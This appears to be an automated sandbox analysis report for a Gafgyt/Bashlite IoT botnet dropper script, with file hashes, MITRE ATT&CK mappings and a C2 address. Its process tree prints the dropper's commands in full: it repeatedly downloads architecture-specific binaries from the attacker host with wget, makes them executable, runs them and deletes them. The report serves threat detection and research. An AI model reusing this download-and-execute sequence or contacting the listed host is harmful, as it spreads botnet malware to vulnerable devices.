gafgyt | 2884954c3ee63cc245def342b3946b24b0aa2cbaebf7d6b2c5a8fd009760a469

Analysis

max time kernel
150s
max time network
153s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
03-12-2024 22:19

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General

Target

SnOoPy.sh
Size

2KB
MD5

8ea1e7d08dd0cf52bbdddc3222e9b8af
SHA1

f031a227d961d83fc0083c4b5b7b4ccdfe64e711
SHA256

2884954c3ee63cc245def342b3946b24b0aa2cbaebf7d6b2c5a8fd009760a469
SHA512

1be9d8a04c9b95e9e07c6fad4ae90a160219b05d0bf4b77578ac7dee91b5f336688ac792aab88cc78b5923963e1c9bacf8c0407fc22119041e9def0f217800da

Score

10^/10

gafgyt botnet defense_evasion discovery

Malware Config

Extracted

Family

gafgyt

192.3.179.33:23

Signatures

Detected Gafgyt variant 1 IoCs

resource	yara_rule
behavioral2/files/fstream-1.dat	family_gafgyt

Gafgyt family
gafgyt
Gafgyt/Bashlite
IoT botnet with numerous variants first seen in 2014.
botnet gafgyt

File and Directory Permissions Modification 1 TTPs 13 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
751	chmod
767	chmod
717	chmod
721	chmod
728	chmod
707	chmod
711	chmod
735	chmod
743	chmod
759	chmod
680	chmod
692	chmod
700	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/a-r.m-6.SNOOPY	712	a-r.m-6.SNOOPY

Reads system routing table 1 TTPs 1 IoCs

Gets active network interfaces from /proc virtual filesystem.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/route	a-r.m-6.SNOOPY

Reads system network configuration 1 TTPs 1 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/route	a-r.m-6.SNOOPY

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/a-r.m-6.SNOOPY	wget

/tmp/SnOoPy.sh
/tmp/SnOoPy.sh
1⤵
PID:663
- /usr/bin/wget
  wget http://192.3.179.33/m-i.p-s.SNOOPY
  2⤵
  PID:666
- /bin/chmod
  chmod +x m-i.p-s.SNOOPY
  2⤵
  - File and Directory Permissions Modification
  PID:680
- /tmp/m-i.p-s.SNOOPY
  ./m-i.p-s.SNOOPY
  2⤵
  PID:682
- /bin/rm
  rm -rf m-i.p-s.SNOOPY
  2⤵
  PID:683
- /usr/bin/wget
  wget http://192.3.179.33/m-p.s-l.SNOOPY
  2⤵
  PID:685
- /bin/chmod
  chmod +x m-p.s-l.SNOOPY
  2⤵
  - File and Directory Permissions Modification
  PID:692
- /tmp/m-p.s-l.SNOOPY
  ./m-p.s-l.SNOOPY
  2⤵
  PID:693
- /bin/rm
  rm -rf m-p.s-l.SNOOPY
  2⤵
  PID:695
- /usr/bin/wget
  wget http://192.3.179.33/s-h.4-.SNOOPY
  2⤵
  PID:696
- /bin/chmod
  chmod +x s-h.4-.SNOOPY
  2⤵
  - File and Directory Permissions Modification
  PID:700
- /tmp/s-h.4-.SNOOPY
  ./s-h.4-.SNOOPY
  2⤵
  PID:702
- /bin/rm
  rm -rf s-h.4-.SNOOPY
  2⤵
  PID:703
- /usr/bin/wget
  wget http://192.3.179.33/x-8.6-.SNOOPY
  2⤵
  PID:704
- /bin/chmod
  chmod +x x-8.6-.SNOOPY
  2⤵
  - File and Directory Permissions Modification
  PID:707
- /tmp/x-8.6-.SNOOPY
  ./x-8.6-.SNOOPY
  2⤵
  PID:708
- /bin/rm
  rm -rf x-8.6-.SNOOPY
  2⤵
  PID:709
- /usr/bin/wget
  wget http://192.3.179.33/a-r.m-6.SNOOPY
  2⤵
  - Writes file to tmp directory
  PID:710
- /bin/chmod
  chmod +x a-r.m-6.SNOOPY
  2⤵
  - File and Directory Permissions Modification
  PID:711
- /tmp/a-r.m-6.SNOOPY
  ./a-r.m-6.SNOOPY
  2⤵
  - Executes dropped EXE
  - Reads system routing table
  - Reads system network configuration
  PID:712
- /bin/rm
  rm -rf a-r.m-6.SNOOPY
  2⤵
  PID:715
- /usr/bin/wget
  wget http://192.3.179.33/x-3.2-.SNOOPY
  2⤵
  PID:716
- /bin/chmod
  chmod +x x-3.2-.SNOOPY
  2⤵
  - File and Directory Permissions Modification
  PID:717
- /tmp/x-3.2-.SNOOPY
  ./x-3.2-.SNOOPY
  2⤵
  PID:718
- /bin/rm
  rm -rf x-3.2-.SNOOPY
  2⤵
  PID:719
- /usr/bin/wget
  wget http://192.3.179.33/a-r.m-7.SNOOPY
  2⤵
  PID:720
- /bin/chmod
  chmod +x a-r.m-7.SNOOPY
  2⤵
  - File and Directory Permissions Modification
  PID:721
- /tmp/a-r.m-7.SNOOPY
  ./a-r.m-7.SNOOPY
  2⤵
  PID:722
- /bin/rm
  rm -rf a-r.m-7.SNOOPY
  2⤵
  PID:723
- /usr/bin/wget
  wget http://192.3.179.33/p-p.c-.SNOOPY
  2⤵
  PID:724
- /bin/chmod
  chmod +x p-p.c-.SNOOPY
  2⤵
  - File and Directory Permissions Modification
  PID:728
- /tmp/p-p.c-.SNOOPY
  ./p-p.c-.SNOOPY
  2⤵
  PID:729
- /bin/rm
  rm -rf p-p.c-.SNOOPY
  2⤵
  PID:730
- /usr/bin/wget
  wget http://192.3.179.33/i-5.8-6.SNOOPY
  2⤵
  PID:732
- /bin/chmod
  chmod +x i-5.8-6.SNOOPY
  2⤵
  - File and Directory Permissions Modification
  PID:735
- /tmp/i-5.8-6.SNOOPY
  ./i-5.8-6.SNOOPY
  2⤵
  PID:737
- /bin/rm
  rm -rf i-5.8-6.SNOOPY
  2⤵
  PID:738
- /usr/bin/wget
  wget http://192.3.179.33/m-6.8-k.SNOOPY
  2⤵
  PID:740
- /bin/chmod
  chmod +x m-6.8-k.SNOOPY
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/m-6.8-k.SNOOPY
  ./m-6.8-k.SNOOPY
  2⤵
  PID:744
- /bin/rm
  rm -rf m-6.8-k.SNOOPY
  2⤵
  PID:745
- /usr/bin/wget
  wget http://192.3.179.33/p-p.c-.SNOOPY
  2⤵
  PID:747
- /bin/chmod
  chmod +x p-p.c-.SNOOPY
  2⤵
  - File and Directory Permissions Modification
  PID:751
- /tmp/p-p.c-.SNOOPY
  ./p-p.c-.SNOOPY
  2⤵
  PID:752
- /bin/rm
  rm -rf p-p.c-.SNOOPY
  2⤵
  PID:753
- /usr/bin/wget
  wget http://192.3.179.33/a-r.m-4.SNOOPY
  2⤵
  PID:754
- /bin/chmod
  chmod +x a-r.m-4.SNOOPY
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /tmp/a-r.m-4.SNOOPY
  ./a-r.m-4.SNOOPY
  2⤵
  PID:760
- /bin/rm
  rm -rf a-r.m-4.SNOOPY
  2⤵
  PID:761
- /usr/bin/wget
  wget http://192.3.179.33/a-r.m-5.SNOOPY
  2⤵
  PID:762
- /bin/chmod
  chmod +x a-r.m-5.SNOOPY
  2⤵
  - File and Directory Permissions Modification
  PID:767
- /tmp/a-r.m-5.SNOOPY
  ./a-r.m-5.SNOOPY
  2⤵
  PID:768
- /bin/rm
  rm -rf a-r.m-5.SNOOPY
  2⤵
  PID:769

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/a-r.m-6.SNOOPY

Filesize
108KB

MD5
d99e614a76b1b6b63030556a22cf2881

SHA1
1cc0cc981f07d648722bc0b112da2d697858558f

SHA256
6bcf634cf08615de9c4f5759bcc2523b114db64a67ed3c119c7aa4230be0b0b5

SHA512
19585dae9db8f913f809da6644127b064b03ec2156fe482b87feb803c8facb291da0b951336c7bc13cef6af1a032229f8f18511b09531a2ad3dce4f53bb8051f

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Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads